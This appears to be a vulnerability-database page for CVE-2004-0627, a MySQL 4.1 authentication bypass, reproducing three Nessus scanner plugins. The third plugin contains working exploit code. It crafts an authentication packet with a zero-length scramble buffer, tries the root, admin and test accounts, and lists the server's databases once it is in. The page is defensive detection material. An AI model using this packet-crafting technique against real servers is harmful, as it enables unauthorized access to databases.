Vulnerabilities > CVE-2004-0627 - Unspecified vulnerability in Mysql 4.1.0

047910
CVSS 10.0 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
COMPLETE
Integrity impact
COMPLETE
Availability impact
COMPLETE
network
low complexity
mysql
critical
nessus
exploit available

Summary

The check_scramble_323 function in MySQL 4.1.x before 4.1.3, and 5.0, allows remote attackers to bypass authentication via a zero-length scrambled string.

Vulnerable Configurations

Part Description Count
Application
Mysql
1

Exploit-Db

descriptionMySQL 4.1/5.0 zero-length password Auth. Bypass Exploit. CVE-2004-0627. Remote exploits for multiple platform
idEDB-ID:311
last seen2016-01-31
modified2004-07-10
published2004-07-10
reporterEli Kara
sourcehttps://www.exploit-db.com/download/311/
titleMySQL 4.1/5.0 zero-length password Auth. Bypass Exploit

Nessus

  • NASL familyDatabases
    NASL idMYSQL_4_1_3.NASL
    descriptionThe version of MySQL 4.1 installed on the remote host is earlier than 4.1.3. Such versions are reported affected by multiple vulnerabilities : - It is possible for a remote attacker to bypass the password authentication mechanism using a specially crafted packet with a zero-length scramble buff string. (CVE-2004-0627) - The server fails to check the length of a scrambled password used by the 4.1 authentication protocol and sent as part of a client authentication packet, which can result in a stack-based buffer overflow.
    last seen2020-06-01
    modified2020-06-02
    plugin id17691
    published2011-01-07
    reporterThis script is Copyright (C) 2011-2018 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/17691
    titleMySQL 4.1 < 4.1.3 Multiple Vulnerabilities
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(17691);
      script_version("1.11");
      script_cvs_date("Date: 2018/11/15 20:50:21");
    
      script_cve_id("CVE-2004-0627", "CVE-2004-0628", "CVE-2004-0628");
      script_bugtraq_id(10654);
      script_xref(name:"CERT", value:"184030");
      script_xref(name:"CERT", value:"645326");
      script_xref(name:"EDB-ID", value:"311");
    
      script_name(english:"MySQL 4.1 < 4.1.3 Multiple Vulnerabilities");
      script_summary(english:"Checks version of MySQL 4.1 Server");
    
      script_set_attribute(
        attribute:"synopsis",
        value:"The remote database service is affected by multiple vulnerabilities."
      );
      script_set_attribute(
        attribute:"description",
        value:
    "The version of MySQL 4.1 installed on the remote host is earlier than
    4.1.3.  Such versions are reported affected by multiple
    vulnerabilities :
    
      - It is possible for a remote attacker to bypass the
        password authentication mechanism using a specially
        crafted packet with a zero-length scramble buff
        string. (CVE-2004-0627)
    
      - The server fails to check the length of a scrambled
        password used by the 4.1 authentication protocol and
        sent as part of a client authentication packet, which
        can result in a stack-based buffer overflow."
      );
    
      script_set_attribute(
        attribute:"see_also",
        value:"https://seclists.org/bugtraq/2004/Jul/45"
      );
      script_set_attribute(
        attribute:"see_also",
        value:"http://dev.mysql.com/doc/refman/4.1/en/news-4-1-3.html"
      );
      script_set_attribute(
        attribute:"solution",
        value:"Upgrade to MySQL 4.1.3 or later."
      );
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
      script_set_attribute(attribute:"canvas_package", value:'CANVAS');
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2004/07/01");
      script_set_attribute(attribute:"patch_publication_date", value:"2004/06/28");
      script_set_attribute(attribute:"plugin_publication_date", value:"2011/01/07");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:mysql:mysql");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_family(english:"Databases");
    
      script_copyright(english:"This script is Copyright (C) 2011-2018 and is owned by Tenable, Inc. or an Affiliate thereof.");
    
      script_dependencies("mysql_version.nasl", "mysql_login.nasl");
      script_require_ports("Services/mysql", 3306);
      script_require_keys("Settings/ParanoidReport");
    
      exit(0);
    }
    
    
    include("global_settings.inc");
    include("misc_func.inc");
    include("mysql_func.inc");
    
    
    # nb: banner checks of open source software are prone to false-
    #     positives so only run the check if reporting is paranoid.
    if (report_paranoia < 2)
      exit(1, "This plugin only runs if 'Report paranoia' is set to 'Paranoid'.");
    
    port = get_service(svc:"mysql", default:3306, exit_on_fail:TRUE);
    
    if (mysql_init(port:port, exit_on_fail:TRUE) == 1)
    {
      version = mysql_get_version();
      mysql_close();
    
      if (!strlen(version)) exit(1, "Failed to get the version of the MySQL service listening on port "+port+".");
    
      if (version =~ "^4\.1\.[0-2]($|[^0-9])")
      {
        if (report_verbosity > 0)
        {
          report = '\n' + '  Installed version : ' + version +
                   '\n' + '  Fixed version     : 4.1.3\n';
          datadir = get_kb_item('mysql/' + port + '/datadir');
          if (!empty_or_null(datadir))
          {
            report += '  Data Dir          : ' + datadir + '\n';
          }
          databases = get_kb_item('mysql/' + port + '/databases');
          if (!empty_or_null(databases))
          { 
            report += '  Databases         :\n' + databases;
          }
          security_hole(port:port, extra:report);
        }
        else security_hole(port);
        exit(0);
      }
      else exit(0, "MySQL version "+version+" is listening on port "+port+" and is not affected.");
    }
    else exit(1, "An error occurred when connecting to the MySQL server listening on port "+port+".");
    
  • NASL familyFreeBSD Local Security Checks
    NASL idFREEBSD_PKG_E5E2883DCEB911D88898000D6111A684.NASL
    descriptionBy submitting a carefully crafted authentication packet, it is possible for an attacker to bypass password authentication in MySQL 4.1. Using a similar method, a stack buffer used in the authentication mechanism can be overflowed.
    last seen2020-06-01
    modified2020-06-02
    plugin id19149
    published2005-07-13
    reporterThis script is Copyright (C) 2005-2019 and is owned by Tenable, Inc. or an Affiliate thereof.
    sourcehttps://www.tenable.com/plugins/nessus/19149
    titleFreeBSD : MySQL authentication bypass / buffer overflow (e5e2883d-ceb9-11d8-8898-000d6111a684)
    code
    #%NASL_MIN_LEVEL 80502
    #
    # (C) Tenable Network Security, Inc.
    #
    # The descriptive text and package checks in this plugin were  
    # extracted from the FreeBSD VuXML database :
    #
    # Copyright 2003-2018 Jacques Vidrine and contributors
    #
    # Redistribution and use in source (VuXML) and 'compiled' forms (SGML,
    # HTML, PDF, PostScript, RTF and so forth) with or without modification,
    # are permitted provided that the following conditions are met:
    # 1. Redistributions of source code (VuXML) must retain the above
    #    copyright notice, this list of conditions and the following
    #    disclaimer as the first lines of this file unmodified.
    # 2. Redistributions in compiled form (transformed to other DTDs,
    #    published online in any format, converted to PDF, PostScript,
    #    RTF and other formats) must reproduce the above copyright
    #    notice, this list of conditions and the following disclaimer
    #    in the documentation and/or other materials provided with the
    #    distribution.
    # 
    # THIS DOCUMENTATION IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS "AS IS"
    # AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,
    # THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR
    # PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS
    # BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY,
    # OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT
    # OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
    # BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
    # WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE
    # OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS DOCUMENTATION,
    # EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(19149);
      script_version("1.22");
      script_cvs_date("Date: 2019/08/02 13:32:36");
    
      script_cve_id("CVE-2004-0627", "CVE-2004-0628");
      script_xref(name:"CERT", value:"184030");
      script_xref(name:"CERT", value:"645326");
      script_xref(name:"Secunia", value:"12020");
    
      script_name(english:"FreeBSD : MySQL authentication bypass / buffer overflow (e5e2883d-ceb9-11d8-8898-000d6111a684)");
      script_summary(english:"Checks for updated packages in pkg_info output");
    
      script_set_attribute(
        attribute:"synopsis", 
        value:
    "The remote FreeBSD host is missing one or more security-related
    updates."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "By submitting a carefully crafted authentication packet, it is
    possible for an attacker to bypass password authentication in MySQL
    4.1. Using a similar method, a stack buffer used in the authentication
    mechanism can be overflowed."
      );
      script_set_attribute(
        attribute:"see_also",
        value:"http://www.nextgenss.com/advisories/mysql-authbypass.txt"
      );
      # http://dev.mysql.com/doc/mysql/en/News-4.1.3.html
      script_set_attribute(
        attribute:"see_also",
        value:"https://dev.mysql.com/doc/mysql/en/News-4.1.3.html"
      );
      # http://archives.neohapsis.com/archives/vulnwatch/2004-q3/0003.html
      script_set_attribute(
        attribute:"see_also",
        value:"http://www.nessus.org/u?cb4832d5"
      );
      # https://vuxml.freebsd.org/freebsd/e5e2883d-ceb9-11d8-8898-000d6111a684.html
      script_set_attribute(
        attribute:"see_also",
        value:"http://www.nessus.org/u?cd5dd51d"
      );
      script_set_attribute(attribute:"solution", value:"Update the affected packages.");
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
      script_set_attribute(attribute:"canvas_package", value:'CANVAS');
    
      script_set_attribute(attribute:"plugin_type", value:"local");
      script_set_attribute(attribute:"cpe", value:"p-cpe:/a:freebsd:freebsd:mysql-server");
      script_set_attribute(attribute:"cpe", value:"cpe:/o:freebsd:freebsd");
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2004/07/01");
      script_set_attribute(attribute:"patch_publication_date", value:"2004/07/05");
      script_set_attribute(attribute:"plugin_publication_date", value:"2005/07/13");
      script_end_attributes();
    
      script_category(ACT_GATHER_INFO);
      script_copyright(english:"This script is Copyright (C) 2005-2019 and is owned by Tenable, Inc. or an Affiliate thereof.");
      script_family(english:"FreeBSD Local Security Checks");
    
      script_dependencies("ssh_get_info.nasl");
      script_require_keys("Host/local_checks_enabled", "Host/FreeBSD/release", "Host/FreeBSD/pkg_info");
    
      exit(0);
    }
    
    
    include("audit.inc");
    include("freebsd_package.inc");
    
    
    if (!get_kb_item("Host/local_checks_enabled")) audit(AUDIT_LOCAL_CHECKS_NOT_ENABLED);
    if (!get_kb_item("Host/FreeBSD/release")) audit(AUDIT_OS_NOT, "FreeBSD");
    if (!get_kb_item("Host/FreeBSD/pkg_info")) audit(AUDIT_PACKAGE_LIST_MISSING);
    
    
    flag = 0;
    
    if (pkg_test(save_report:TRUE, pkg:"mysql-server>=4.1<4.1.3")) flag++;
    if (pkg_test(save_report:TRUE, pkg:"mysql-server>=5<=5.0.0_2")) flag++;
    
    if (flag)
    {
      if (report_verbosity > 0) security_hole(port:0, extra:pkg_report_get());
      else security_hole(0);
      exit(0);
    }
    else audit(AUDIT_HOST_NOT, "affected");
    
  • NASL familyDatabases
    NASL idMYSQL_SCRAMBLEBUFF_LEN0_BYPASS.NASL
    descriptionA bug in the version of MySQL running on the remote host allows a remote attacker to bypass the password authentication mechanism using a specially crafted packet with a zero-length scramble buff string. An attacker with knowledge of an existing account defined to the affected service can leverage this vulnerability to bypass authentication and gain full access to that account.
    last seen2020-06-01
    modified2020-06-02
    plugin id17690
    published2011-01-07
    reporterThis script is Copyright (C) 2011-2018 Tenable Network Security, Inc.
    sourcehttps://www.tenable.com/plugins/nessus/17690
    titleMySQL Zero-length Scrambled String Crafted Packet Authentication Bypass
    code
    #
    # (C) Tenable Network Security, Inc.
    #
    
    include("compat.inc");
    
    if (description)
    {
      script_id(17690);
      script_version("1.11");
      script_cvs_date("Date: 2018/11/15 20:50:21");
    
      script_cve_id("CVE-2004-0627");
      script_bugtraq_id(10654);
      script_xref(name:"CERT", value:"184030");
      script_xref(name:"EDB-ID", value:"311");
    
      script_name(english:"MySQL Zero-length Scrambled String Crafted Packet Authentication Bypass");
      script_summary(english:"Tries to bypass authentication with a zero length password");
    
      script_set_attribute(
        attribute:"synopsis",
        value:
    "It is possible to bypass authentication on the remote database
    service."
      );
      script_set_attribute(
        attribute:"description", 
        value:
    "A bug in the version of MySQL running on the remote host allows a
    remote attacker to bypass the password authentication mechanism using
    a specially crafted packet with a zero-length scramble buff string. 
    
    An attacker with knowledge of an existing account defined to the
    affected service can leverage this vulnerability to bypass
    authentication and gain full access to that account."
      );
    
      script_set_attribute(
        attribute:"see_also", 
        value:"https://seclists.org/bugtraq/2004/Jul/45"
      );
      script_set_attribute(
        attribute:"see_also", 
        value:"http://dev.mysql.com/doc/refman/4.1/en/news-4-1-3.html"
      );
      script_set_attribute(
        attribute:"solution", 
        value:"Upgrade to MySQL 4.1.3 or later."
      );
      script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:P/I:P/A:P");
      script_set_cvss_temporal_vector("CVSS2#E:F/RL:OF/RC:C");
      script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
      script_set_attribute(attribute:"exploit_available", value:"true");
      script_set_attribute(attribute:"exploit_framework_canvas", value:"true");
      script_set_attribute(attribute:"canvas_package", value:'CANVAS');
    
      script_set_attribute(attribute:"vuln_publication_date", value:"2004/07/01");
      script_set_attribute(attribute:"patch_publication_date", value:"2004/06/28");
      script_set_attribute(attribute:"plugin_publication_date", value:"2011/01/07");
    
      script_set_attribute(attribute:"plugin_type", value:"remote");
      script_set_attribute(attribute:"cpe", value:"cpe:/a:mysql:mysql");
      script_set_attribute(attribute:"exploited_by_nessus", value:"true");
      script_end_attributes();
     
      script_category(ACT_ATTACK);
      script_family(english:"Databases");
    
      script_copyright(english:"This script is Copyright (C) 2011-2018 Tenable Network Security, Inc.");
    
      script_dependencies("find_service1.nasl");
      script_require_ports("Services/mysql", 3306);
      script_exclude_keys("global_settings/supplied_logins_only");
    
      exit(0);
    }
    
    include("audit.inc");
    include("global_settings.inc");
    include("misc_func.inc");
    include("mysql_func.inc");
    
    
    port = get_service(svc:"mysql", default:3306, exit_on_fail:TRUE);
    
    if (supplied_logins_only) audit(AUDIT_SUPPLIED_LOGINS_ONLY);
    
    
    # nb: Exploitation requires a valid user account.
    accts = make_list("root");
    if (thorough_tests) accts = make_list(accts, "admin", "test");
    
    
    # Try to bypass authentication.
    foreach acct (accts)
    {
      mysql_init(port:port, nocache:TRUE, exit_on_fail:TRUE);
    
      # Send a malicious client authentication packet.
      flags = mysql_get_caps() | 
             CLIENT_SECURE_CONNECTION | 
           CLIENT_PROTOCOL_41;
      flags = flags & 
             ~CLIENT_CONNECT_WITH_DB & 
             ~CLIENT_SSL &
             ~CLIENT_COMPRESS;
    
      # nb: we can't use 'mysql_login()' because the exploit involves a
      #     specially crafted scramble_buff.
      cap = mkdword(flags) +                           # capabilities
        mkdword(0xffff) +                              # max packet size
        mkbyte(mysql_get_lang()) +                     # charset
        crap(data:mkbyte(0), length:23) +              # filler
        acct + mkbyte(0) +                             # username plus null byte
        mkbyte(20) + crap(data:mkbyte(0), length:20);  # scramble_buff -- look ma, no password!
    
      mysql_send_packet(data:cap);
      pkt = mysql_recv_packet();
    
      # nb: if the user doesn't exist, we should get an 
      #     "Access denied" error message.
      if (
        isnull(pkt) || 
        mysql_is_error_packet(packet:pkt) ||
        # nb: EOF packet is also an error.
        getbyte(blob:pkt["data"], pos:0) == 0xfe
      )
      {
        mysql_close();
        continue;
      }
    
      # At this point we're in, but get a list of databases for the plugin output.
      info = '';
    
      mysql_send_packet(data:mkbyte(3)+'show databases', num:0);
      pkt = mysql_recv_packet();
    
      if (!isnull(pkt) && pkt['num'] == 1)
      {
        pkt = mysql_recv_packet();
        if (!isnull(pkt))
        {
          pkt = mysql_recv_packet();
          if (!isnull(pkt) && getbyte(blob:pkt['data'], pos:0) == 254)
          {
            loop = TRUE;
            while (loop)
            {
              pkt = mysql_recv_packet();
              if (!isnull(pkt) && getbyte(blob:pkt['data'], pos:0) != 254)
                info += '\n  - ' + substr(pkt['data'], 1, pkt['len']-1);
              else loop = FALSE;
            }
          }
        }
      }
    
      if (info && report_verbosity > 0)
      {
        report += '\n' + 'Nessus was able to exploit the vulnerability to connect as \'' + acct + '\', and' +
                  '\n' + 'retrieve the following list of databases from the remote server :' +
                  '\n' +
                  info + '\n';
        security_hole(port:port, extra:report);
      }
      else security_hole(port);
    
      mysql_close();
      exit(0);
    }
    
    
    # Report that the service wasn't affected given the accounts we checked.
    if (max_index(accts) == 1) reason = 'a check of the account \'' + join(accts, sep:"' and '") + '\'.';
    else reason = 'checks of the accounts \'' + join(accts, sep:"', '") + '\'.';
    
    exit(0, 'The MySQL server on port '+port+' does not seem to be affected based on '+reason);